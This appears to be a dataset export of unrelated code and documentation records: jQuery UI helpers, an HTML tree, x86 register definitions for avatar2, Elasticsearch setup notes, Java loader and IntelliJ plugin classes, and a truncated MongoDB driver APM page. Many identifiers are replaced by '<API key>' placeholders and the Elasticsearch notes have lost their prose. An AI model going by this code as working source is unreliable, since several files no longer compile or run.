answer
stringlengths
15
1.25M
function $childNode(o) { return window.frames[o] } function animationHover(o, e) { o = $(o), o.hover(function () { o.addClass("animated " + e) }, function () { window.setTimeout(function () { o.removeClass("animated " + e) }, 2e3) }) } function WinMove() { var o = "[class*=col]", e = ".ibox-title", i = "[class*=col]"; $(o).sortable({ handle: e, connectWith: i, tolerance: "pointer", <API key>: !0, opacity: .8 }).disableSelection() } var $parentNode = window.parent.document; if ($(".tooltip-demo").tooltip({ selector: "[data-toggle=tooltip]", container: "body" }), $(".modal").appendTo("body"), $("[data-toggle=popover]").popover(), $(".collapse-link").click(function () { var o = $(this).closest("div.ibox"), e = $(this).find("i"), i = o.find("div.ibox-content"); i.slideToggle(200), e.toggleClass("fa-chevron-up").toggleClass("fa-chevron-down"), o.toggleClass("").toggleClass("border-bottom"), setTimeout(function () { o.resize(), o.find("[id^=map-]").resize() }, 50) }), $(".close-link").click(function () { var o = $(this).closest("div.ibox"); o.remove() }), top == this) { }
<!DOCTYPE html> <html xmlns="http: <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> <link href="../../../../../src/css/29tree.css" rel="stylesheet" type="text/css" /> </head> <body> <div class="tree" id="c1"> <div class="root open"> <div class="tag"> <div class="text">XLib</div> </div> <div class="childs"> <div class="folder normal open"> <div class="tag"> <div class="text">base</div> </div> <div class="childs"> <div class="txt normal close"> <div class="tag"> <div class="text">basis</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">extend</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">core</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">out</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">dom</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">css</div> </div> <div class="childs"></div> </div> <div class="txt last close"> <div class="tag"> <div class="text">createdom</div> </div> <div class="childs"></div> </div> </div> </div> <div class="folder normal close"> <div class="tag"> <div class="text">ui</div> </div> <div class="childs"> <div class="txt normal close"> <div class="tag"> <div class="text">basis</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">extend</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">core</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">out</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">dom</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">css</div> </div> <div class="childs"></div> </div> <div class="txt last close"> <div class="tag"> <div class="text">createdom</div> </div> <div class="childs"></div> </div> </div> </div> <div class="folder last close"> <div class="tag"> <div class="text">grid</div> </div> <div class="childs"> <div class="txt normal close"> <div class="tag"> <div class="text">basis</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">extend</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">core</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">out</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">dom</div> </div> <div class="childs"></div> </div> <div class="txt normal close"> <div class="tag"> <div class="text">css</div> </div> <div class="childs"></div> </div> <div class="txt last close"> <div class="tag"> <div class="text">createdom</div> </div> <div class="childs"></div> </div> </div> </div> </div> </div> </div> </body> </html>
from capstone import * from .architecture import Architecture from avatar2.installer.config import GDB_X86, OPENOCD class X86(Architecture): get_gdb_executable = Architecture.resolve(GDB_X86) get_oocd_executable = Architecture.resolve(OPENOCD) qemu_name = 'i386' gdb_name = 'i386' registers = {'eax': 0, 'ecx': 1, 'edx': 2, 'ebx': 3, 'esp': 4, 'ebp': 5, 'esi': 6, 'edi': 7, 'eip': 8, 'pc': 8, 'eflags': 9, 'cs': 10, 'ss': 11, 'ds': 12, 'es': 13, 'fs': 14, 'gs': 15, } special_registers = { #SSE 'xmm0': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm0.v4_int32', }, 'xmm1': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm1.v4_int32', }, 'xmm2': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm2.v4_int32', }, 'xmm3': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm3.v4_int32', }, 'xmm4': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm4.v4_int32', }, 'xmm5': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm5.v4_int32', }, 'xmm6': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm6.v4_int32', }, 'xmm7': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm7.v4_int32', }, 'xmm8': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm8.v4_int32', }, 'xmm9': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm9.v4_int32', }, 'xmm10': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm10.v4_int32', }, 'xmm11': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm11.v4_int32', }, 'xmm12': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm12.v4_int32', }, 'xmm13': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm13.v4_int32', }, 'xmm14': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm14.v4_int32', }, 'xmm15': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm15.v4_int32', }, #AVX 'ymm0': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm0.v8_int32', }, 'ymm1': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm1.v8_int32', }, 'ymm2': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm2.v8_int32', }, 'ymm3': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm3.v8_int32', }, 'ymm4': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm4.v8_int32', }, 'ymm5': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm5.v8_int32', }, 'ymm6': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm6.v8_int32', }, 'ymm7': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm7.v8_int32', }, 'ymm8': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm8.v8_int32', }, 'ymm9': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm9.v8_int32', }, 'ymm10': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm10.v8_int32', }, 'ymm11': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm11.v8_int32', }, 'ymm12': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm12.v8_int32', }, 'ymm13': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm13.v8_int32', }, 'ymm14': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm14.v8_int32', }, 'ymm15': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm15.v8_int32', }, } sr_name = 'eflags' <API key> = [] capstone_arch = CS_ARCH_X86 capstone_mode = CS_MODE_32 word_size = 32 class X86_64(X86): qemu_name = 'x86_64' gdb_name = 'i386:x86-64' registers = {'rax': 0, 'rbx': 1, 'rcx': 2, 'rdx': 3, 'rsi': 4, 'rdi': 5, 'rbp': 6, 'rsp': 7, 'r8': 8, 'r9': 9, 'r10': 10, 'r11': 11, 'r12': 12, 'r13': 13, 'r14': 14, 'r15': 15, 'rip': 16, 'pc': 16, 'eflags': 17, 'cs': 18, 'ss': 19, 'ds': 20, 'es': 21, 'fs': 22, 'gs': 23, } capstone_mode = CS_MODE_64 <API key> = [] capstone_mode = CS_MODE_64 word_size = 64
# Elasticsearch ## Elasticsearch ElasticsearchJava<br> **Ubuntu 16.04 64bit**[Elasticsearch](https://github.com/looly/<API key>) ## Java sh sudo apt-get install default-jre Java sh java -version Java1.8.0_131<br><br> *Ubuntualiyun* ## Elasticsearch https: tar sh tar -xvf elasticsearch-$VERSION.tar.gz $VERSION<br><br> sh ./elasticsearch-$VERSION/bin/elasticsearch Elasticsearch<br><br> *-d*<br><br> sh [0] indices into cluster_state Debian Package Kibana<br><br> /usr/share/elasticsearch/<br><br> Import the Elasticsearch PGP Key sh wget -qO - https://artifacts.elastic.co/<API key> | sudo apt-key add - Installing from the APT repository sh sudo apt-get install apt-transport-https echo "deb https://artifacts.elastic.co/packages/5.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-5.x.list Install the Elasticsearch Debian package sh sudo apt-get update && sudo apt-get install elasticsearch root sh service elasticsearch start sh curl 'http://localhost:9200' Elasticsearch json { "name" : "RcmBSMl", "cluster_name" : "elasticsearch", "cluster_uuid" : "<API key>", "version" : { "number" : "5.5.0", "build_bash" : "260387d", "build_date" : "2017-06-30T23:16:05.735Z", "build_snapshot" : false, "lucene_version" : "6.6.0" }, "tagline" : "You Know, for Search" } ## Demo ElasticsearchHTMLGETPUT PUT sh curl -T $JSON_FILE "http://localhost:9200/$INDEX/$TYPE/$ID" $JSON_FILEjson$INDEX$TYPE$ID<br><br> PUT GET sh curl -XGET "http://localhost:9200/$INDEX/$TYPE/$ID" GET sh curl -XGET "http://localhost:9200/$INDEX/$TYPE/_search" GET sh curl -XGET "http://localhost:9200/$INDEX/$TYPE/_search?q=$COND:$VALUE" $COND$VALUE DELETE sh curl -XDELETE "http://localhost:9200/$INDEX/$TYPE/$ID" <br> [](https:
package de.nl.moo.data.loader.systems; import de.nl.moo.data.beans.systems.SystemsApplyerBean; import de.nl.moo.data.beans.systems.SystemsBean; import de.nl.moo.data.beans.systems.SystemsSystemBean; import de.nl.moo.data.dao.GameBeanDAO; import de.nl.moo.data.loader.AbstractBeanLoader; import org.springframework.beans.factory.annotation.Autowired; import javax.inject.Provider; import java.nio.file.Path; import java.util.ArrayList; import java.util.List; public class SystemsBeanLoader extends AbstractBeanLoader<SystemsBean> { @Autowired private SystemsBean systemsBean = null; @Autowired private Provider<<API key>> <API key> = null; @Autowired private Provider<<API key>> <API key> = null; public SystemsBeanLoader() { super(); } @Override protected SystemsBean load(GameBeanDAO dao) { List<SystemsApplyerBean> applyers = this.loadApplyers(dao); this.systemsBean.setApplyers(applyers); List<SystemsSystemBean> systems = this.loadSystems(dao); this.systemsBean.setSystems(systems); return this.systemsBean; } // private List<SystemsApplyerBean> loadApplyers(GameBeanDAO dao) { Path file = dao.getFile(); Path parent = file.getParent(); List<String> paths = dao.getList("applyers"); List<SystemsApplyerBean> applyers = new ArrayList<>(); paths.stream() .map(parent::resolve) .map(this::loadApplyer) .forEach(applyers::add); return applyers; } private SystemsApplyerBean loadApplyer(Path path) { <API key> beanLoader = this.<API key>.get(); SystemsApplyerBean applyerBean = beanLoader.load(path); return applyerBean; } // private List<SystemsSystemBean> loadSystems(GameBeanDAO dao) { Path file = dao.getFile(); Path parent = file.getParent(); List<String> paths = dao.getList("systems"); List<SystemsSystemBean> systems = new ArrayList<>(); paths.stream() .map(parent::resolve) .map(this::loadSystem) .forEach(systems::add); return systems; } private SystemsSystemBean loadSystem(Path path) { <API key> beanLoader = this.<API key>.get(); SystemsSystemBean systemBean = beanLoader.load(path); return systemBean; } }
package com.github.setial.intellijjavadocs.configuration.impl; import com.github.setial.intellijjavadocs.configuration.<API key>; import com.github.setial.intellijjavadocs.exception.<API key>; import com.github.setial.intellijjavadocs.model.settings.JavaDocSettings; import com.github.setial.intellijjavadocs.model.settings.Level; import com.github.setial.intellijjavadocs.model.settings.Mode; import com.github.setial.intellijjavadocs.model.settings.Visibility; import com.github.setial.intellijjavadocs.template.DocTemplateManager; import com.intellij.openapi.components.<API key>; import com.intellij.openapi.components.ServiceManager; import com.intellij.openapi.components.State; import com.intellij.openapi.components.Storage; import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.ui.Messages; import org.jdom.Element; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.util.HashSet; import java.util.Set; import static com.github.setial.intellijjavadocs.configuration.<API key>.<API key>; /** * The type Java doc configuration impl. * * @author Sergey Timofiychuk */ @State( name = <API key>.COMPONENT_NAME, storages = { @Storage(value = <API key>) } ) public class <API key> implements <API key>, <API key><Element> { public static final String <API key> = "Javadocs plugin"; private static final Logger LOGGER = Logger.getInstance(<API key>.class); private JavaDocSettings settings; private DocTemplateManager templateManager; private boolean loadedStoredConfig = false; /** * Instantiates a new Java doc configuration object. */ public <API key>() { templateManager = ServiceManager.getService(DocTemplateManager.class); initSettings(); } @Override public JavaDocSettings getConfiguration() { return settings; } @Nullable @Override public Element getState() { Element root = new Element("<API key>"); if (settings != null) { settings.addToDom(root); loadedStoredConfig = true; } return root; } @Override public void loadState(@NotNull Element javaDocSettings) { settings = new JavaDocSettings(javaDocSettings); setupTemplates(); loadedStoredConfig = true; } private void initSettings() { if (!loadedStoredConfig) { // setup default values settings = new JavaDocSettings(); Set<Level> levels = new HashSet<>(); levels.add(Level.TYPE); levels.add(Level.METHOD); levels.add(Level.FIELD); Set<Visibility> visibilities = new HashSet<>(); visibilities.add(Visibility.PUBLIC); visibilities.add(Visibility.PROTECTED); visibilities.add(Visibility.DEFAULT); settings.getGeneralSettings().<API key>(false); settings.getGeneralSettings().<API key>(true); settings.getGeneralSettings().setMode(Mode.UPDATE); settings.getGeneralSettings().setLevels(levels); settings.getGeneralSettings().setVisibilities(visibilities); settings.getTemplateSettings().setClassTemplates(templateManager.getClassTemplates()); settings.getTemplateSettings().<API key>(templateManager.<API key>()); settings.getTemplateSettings().setMethodTemplates(templateManager.getMethodTemplates()); settings.getTemplateSettings().setFieldTemplates(templateManager.getFieldTemplates()); } } @Override public void setupTemplates() { try { templateManager.setClassTemplates(settings.getTemplateSettings().getClassTemplates()); templateManager.<API key>(settings.getTemplateSettings().<API key>()); templateManager.setMethodTemplates(settings.getTemplateSettings().getMethodTemplates()); templateManager.setFieldTemplates(settings.getTemplateSettings().getFieldTemplates()); } catch (<API key> e) { LOGGER.error(e); Messages.showErrorDialog("Javadocs plugin is not available, cause: " + e.getMessage(), <API key>); } } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content=""> <meta name="keyword" content=""> <link rel="shortcut icon" href="/node-mongodb-native/3.1/img/favicon.png"> <title>APM</title> <link rel="stylesheet" href="/node-mongodb-native/3.1/lib/bootstrap.css" type="text/css" /> <link rel="stylesheet" href="/node-mongodb-native/3.1/lib/font-awesome/css/font-awesome.min.css" type="text/css" /> <link rel="stylesheet" href="/node-mongodb-native/3.1/css/mongodb-docs.css" type="text/css" /> <link rel="stylesheet" href="/node-mongodb-native/3.1/css/overrides.css" type="text/css" /> <link rel="stylesheet" href="/node-mongodb-native/3.1/lib/highlight/styles/idea.css" /> <link rel="stylesheet" href="/node-mongodb-native/3.1/lib/bootstrap-toggle/bootstrap-toggle.min.css" type="text/css" /> <link rel="stylesheet" href="/node-mongodb-native/3.1/css/java.css" type="text/css" /> </head> <body> <section id="container" class=""> <header id="header-db" class="row" role="navigation"> <div class="header-content"> <div class="toggle-nav pull-left"> <i class="fa fa-bars"></i> <div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"></div> </div> <div class="logo pull-left"> <a href="https: <img src="http://mongodb.github.io/node-mongodb-native/img/logo-mongodb-header.png", alt="MongoDB.com" /> </a> </div> <div> <div class="nav-items pull-right"> <a href="https://university.mongodb.com" data-toggle="tooltip" data-placement="bottom" title="Free Online Classes">MongoDB University</a> <a href="http: <a href="http: <a href="http://docs.mongodb.org" data-toggle="tooltip" data-placement="bottom" title="The MongoDB Documentation">Docs</a> <a href="http://blog.mongodb.org" data-toggle="tooltip" data-placement="bottom" title="The MongoDB Blog">Blog</a> <div id="search"> <form method="get" action=" <input type="text" name="searchQuery" size="20" value="" autocomplete="off" placeholder="Search docs"> <input type="hidden" name="site" value="/node-mongodb-native/3.1"> <input type="hidden" name="q" value=""> <label for="searchQuery"><i class="fa fa-search fa-1"></i></label> </form> </div> </div> </div> </div> </header> <aside id="sidebar" class="sidebar"> <div class="ssidebar nav-collapse"> <div class="ssidebarwrapper"> <h3> <a class="index-link" href="/node-mongodb-native/3.1/../">MongoDB Node.js Driver</a> <a class="version pull-right" href="/node-mongodb-native/3.1">3.1</a> </h3> <ul class="sidebar-menu"> <li class="toctree-l1"> <a href="/node-mongodb-native/3.1/installation-guide/installation-guide/"> <i class='fa fa-puzzle-piece'></i> Installation Guide </a> </li> <li class="toctree-l1"> <a href="/node-mongodb-native/3.1/quick-start/quick-start/"> <i class='fa fa-road'></i> Quick Start </a> </li> <li class="toctree-l1 "> <a href="/node-mongodb-native/3.1/tutorials/main/" class=""> <i class='fa fa-thumb-tack'></i> <span>Tutorials</span> <span class="menu-arrow fa fa-angle-right"></span> </a> <ul > <li class="toctree-l2 "> <a href="/node-mongodb-native/3.1/tutorials/connect/" class=""> <i class='fa'></i> <span>Connect to MongoDB</span> </a> <ul > <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/tutorials/connect/authenticating/"> <i class='fa'></i> Authentication </a> </li> <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/tutorials/connect/ssl/"> <i class='fa'></i> SSL Settings </a> </li> </ul> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/collations/"> <i class='fa'></i> Collations </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/collections/"> <i class='fa'></i> Collections </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/create-indexes/"> <i class='fa'></i> Create Indexes </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/crud/"> <i class='fa'></i> CRUD Operations </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/projections/"> <i class='fa'></i> Projections </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/aggregation/"> <i class='fa'></i> Aggregation </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/text-search/"> <i class='fa'></i> Text Search </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/geospatial-search/"> <i class='fa'></i> Geospatial Search </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/tutorials/commands/"> <i class='fa'></i> Database Commands </a> </li> <li class="toctree-l2 "> <a href="/node-mongodb-native/3.1/tutorials/gridfs/" class=""> <i class='fa'></i> <span>GridFS</span> </a> <ul > <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/tutorials/gridfs/streaming/"> <i class='fa'></i> GridFS API </a> </li> <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/tutorials/gridfs/gridstore/"> <i class='fa'></i> Legacy GridStore </a> </li> </ul> </li> </ul> </li> <li class="toctree-l1 current"> <a href="/node-mongodb-native/3.1/reference/main/" class=""> <i class='fa fa-book'></i> <span>Reference</span> <span class="menu-arrow fa fa-angle-down"></span> </a> <ul class="current"> <li class="toctree-l2 "> <a href="/node-mongodb-native/3.1/reference/connecting/" class=""> <i class='fa'></i> <span>Connection Options</span> </a> <ul > <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/reference/connecting/connection-settings/"> <i class='fa'></i> Connection Settings </a> </li> </ul> </li> <li class="toctree-l2 "> <a href="/node-mongodb-native/3.1/reference/ecmascriptnext/" class=""> <i class='fa'></i> <span>ECMAScript Next</span> </a> <ul > <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/reference/ecmascriptnext/connecting/"> <i class='fa'></i> Connecting </a> </li> <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/reference/ecmascriptnext/crud/"> <i class='fa'></i> CRUD Operations </a> </li> </ul> </li> <li class="toctree-l2 current"> <a href="/node-mongodb-native/3.1/reference/management/" class=""> <i class='fa'></i> <span>Management</span> </a> <ul class="current"> <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/reference/management/logging/"> <i class='fa'></i> Logging </a> </li> <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/reference/management/apm/"> <i class='fa'></i> APM </a> </li> <li class="toctree-l3"> <a href="/node-mongodb-native/3.1/reference/management/sdam-monitoring/"> <i class='fa'></i> Topology Monitoring </a> </li> </ul> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/reference/pool/"> <i class='fa'></i> Pool Design </a> </li> <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/reference/faq/"> <i class='fa'></i> Frequently Asked Questions </a> </li> </ul> </li> <li class="toctree-l1 "> <a href="/node-mongodb-native/3.1/upgrade-migration/main/" class=""> <i class='fa fa-cog'></i> <span>Upgrade Guide</span> <span class="menu-arrow fa fa-angle-right"></span> </a> <ul > <li class="toctree-l2"> <a href="/node-mongodb-native/3.1/upgrade-migration/upgrading/"> <i class='fa fa-wrench'></i> Upgrading to 2.x </a> </li> </ul> </li> <li class="toctree-l1"> <a href="/node-mongodb-native/3.1/api"> <i class='fa fa-file-text-o'></i> API Documentation </a> </li> <li class="toctree-l1"> <a href="https://github.com/mongodb/node-mongodb-native"> <i class='fa fa-github'></i> Source Code </a> </li> <li class="toctree-l1"> <a href="/node-mongodb-native/3.1/issues-help/"> <i class='fa fa-life-ring'></i> Issues &amp; Help </a> </li> <li class="toctree-l1"> <a href="https://gitter.im/mongodb/node-mongodb-native?utm_source=badge&amp;utm_medium=badge&amp;utm_campaign=pr-badge"> <img src='https://badges.gitter.im/Join Chat.svg'/> </a> </li> </ul> </div> </div> </aside> <div class="option-popup closed hidden" id="<API key>"> <div class="option-header"> <i class="fa fa-gear"></i> <span>OPTIONS</span> <i class="fa fa-angle-up pull-right"></i> </div> <div class="option-body"> <ul> <li> <label>Version</label> <div class="btn-group btn-group-xs pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> Select Version <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu" id="optionsVersionsMenu"> </ul> </div> </li> </ul> </div> </div> <section id="main-content" class="content"> <section class="main-column pull-left"> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body"> <div class="alert alert-info" role="alert"> Note: You are currently viewing version 3.1 of the Node.js driver documentation. <a href="https://docs.mongodb.com/drivers/node">Click here</a> for the latest version. </div> <a class="edit-link" href="https://github.com/mongodb/node-mongodb-native/blob/3.1/docs/reference/content/reference/management/apm.md" target="_blank" title="Edit reference/management/apm.md on GitHub"><i class="fa fa-pencil-square-o"></i></a> <div class="bc"> <ul> <li><a href="/node-mongodb-native/3.1/reference/main/">Reference</a> <i class="fa fa-angle-right"></i></li> <li><a href="/node-mongodb-native/3.1/reference/management/">Management</a> <i class="fa fa-angle-right"></i></li> <li>APM</li> </ul> </div> <h1 id="apm">APM</h1> <p>Application Performance Monitoring support is a driver feature that allows monitoring services to hook into the driver in a forward compatible and stable way. The API is not applied to the driver unless explicitly initialized to avoid any performance penalties.</p> <h2 id="api">API</h2> <p>The following code example hooks into all the available features of the APM API.</p> <pre><code class="language-js">const listener = require('mongodb').instrument({ <API key>: { operationId: 1, next: function() { return this.operationId++; } }, timestampGenerator: { current: function() { return new Date().getTime(); }, duration: function(start, end) { return end - start; } } }, function(err, instrumentations) { // Instrument the driver }); listener.on('started', function(event) { }); listener.on('succeeded', function(event) { }); listener.on('failed', function(event) { }); </code></pre> <p>There are two main aspects to the APM API. The first one is the command monitoring specification and the second one is the instrumentation method.</p> <h2 id="command-monitoring">Command Monitoring</h2> <p>Command monitoring is based on the cross-driver specification for MongoDB found in the Command monitoring <a href="https://github.com/mongodb/specifications/blob/master/source/command-monitoring/command-monitoring.rst">specification</a>.</p> <p>The Command monitoring specification is a low-level monitoring specification that sends a notification when a new command is executed against MongoDB and if it fails or succeeds. In most cases this is straightforward and you will receive a single start and either a success or failure event.</p> <p>In this example, the user executes the <code>isMaster</code> command against the server and receives the following messages (full objects are abbreviated for simplicity&rsquo;s sake). When the <code>isMaster</code> command starts execution we receive the following event (this result is from <code>JSON.stringify</code>; in the real event the connectionId is the actual connection object the command was executed against).</p> <pre><code class="language-js">{ &quot;command&quot;: { &quot;ismaster&quot;: true }, &quot;databaseName&quot;: &quot;system&quot;, &quot;commandName&quot;: &quot;ismaster&quot;, &quot;requestId&quot;: 7, &quot;operationId&quot;: 1, &quot;connectionId&quot;: { &quot;id&quot;: 8, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 } } </code></pre> <p><code>requestId</code> is the id used for the wire protocol message sent to MongoDB and allows you to correlate the commands executed on MongoDB with the commands from the driver.</p> <p><code>operationId</code> is an id that is used to group commands into a single logical command execution. Use cases are queries and batch writes where a single logical operation might be executed as multiple commands to the server. For a query this might mean it gets executed as a <code>find</code> command and <em>n</em> number of <code>getMore</code> commands as well as a <code>killCursors</code> command. For bulk writes the logical grouping might contain <code>n</code> individual write operations. The goal of <code>operationId</code> is to allow APM providers to correlate the breakdown of a cursor or bulk operation with the method called by the user.</p> <p>A typical example:</p> <pre><code class="language-js">db.collection('data').find().batchSize(2).toArray(function(err, docs) { }); </code></pre> <p>That might be translated to <code>1</code> find, <code>n</code> getMores and <code>0|1</code> killCursors.</p> <p>After the command executed successfully it sends the following result:</p> <pre><code class="language-js">{ &quot;duration&quot;: 0, &quot;commandName&quot;: &quot;ismaster&quot;, &quot;requestId&quot;: 7, &quot;operationId&quot;: 1, &quot;connectionId&quot;: { &quot;id&quot;: 8, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 }, &quot;reply&quot;: { &quot;ismaster&quot;: true, &quot;maxBsonObjectSize&quot;: 16777216, &quot;maxMessageSizeBytes&quot;: 48000000, &quot;maxWriteBatchSize&quot;: 1000, &quot;localTime&quot;: &quot;2015-08-04T10:26:01.445Z&quot;, &quot;maxWireVersion&quot;: 3, &quot;minWireVersion&quot;: 0, &quot;ok&quot;: 1 } } </code></pre> <p>Notice that the <code>requestId</code> and <code>operationId</code> match up to the start message, allowing the user of the API to correlate the two events.</p> <p>The next example shows a complete <code>find</code> operation that results in multiple <code>getMore</code> responses.</p> <pre><code class="language-js">{ &quot;command&quot;: { &quot;find&quot;: &quot;apm_test_2&quot;, &quot;filter&quot;: { &quot;a&quot;: 1 }, &quot;sort&quot;: { &quot;a&quot;: 1 }, &quot;projection&quot;: { &quot;_id&quot;: 1, &quot;a&quot;: 1 }, &quot;limit&quot;: 100, &quot;skip&quot;: 1, &quot;hint&quot;: { &quot;_id&quot;: 1 }, &quot;batchSize&quot;: 2, &quot;comment&quot;: &quot;some comment&quot;, &quot;maxTimeMS&quot;: 5000, &quot;noCursorTimeout&quot;: true }, &quot;databaseName&quot;: &quot;integration_tests&quot;, &quot;commandName&quot;: &quot;find&quot;, &quot;requestId&quot;: 44, &quot;operationId&quot;: 39, &quot;connectionId&quot;: { &quot;id&quot;: 19, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 } } { &quot;duration&quot;: 1, &quot;commandName&quot;: &quot;find&quot;, &quot;requestId&quot;: 44, &quot;operationId&quot;: 39, &quot;connectionId&quot;: { &quot;id&quot;: 19, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 }, &quot;reply&quot;: [ { &quot;_id&quot;: &quot;<API key>&quot;, &quot;a&quot;: 1 }, { &quot;_id&quot;: &quot;<API key>&quot;, &quot;a&quot;: 1 } ] } { &quot;command&quot;: { &quot;getMore&quot;: &quot;104961726686&quot;, &quot;collection&quot;: &quot;apm_test_2&quot;, &quot;batchSize&quot;: 2, &quot;maxTimeMS&quot;: 5000 }, &quot;databaseName&quot;: &quot;integration_tests&quot;, &quot;commandName&quot;: &quot;getMore&quot;, &quot;requestId&quot;: 44, &quot;operationId&quot;: 39, &quot;connectionId&quot;: { &quot;id&quot;: 19, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 } } { &quot;duration&quot;: 1, &quot;commandName&quot;: &quot;getMore&quot;, &quot;requestId&quot;: 44, &quot;operationId&quot;: 39, &quot;connectionId&quot;: { &quot;id&quot;: 19, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 }, &quot;reply&quot;: [ { &quot;_id&quot;: &quot;<API key>&quot;, &quot;a&quot;: 1 }, { 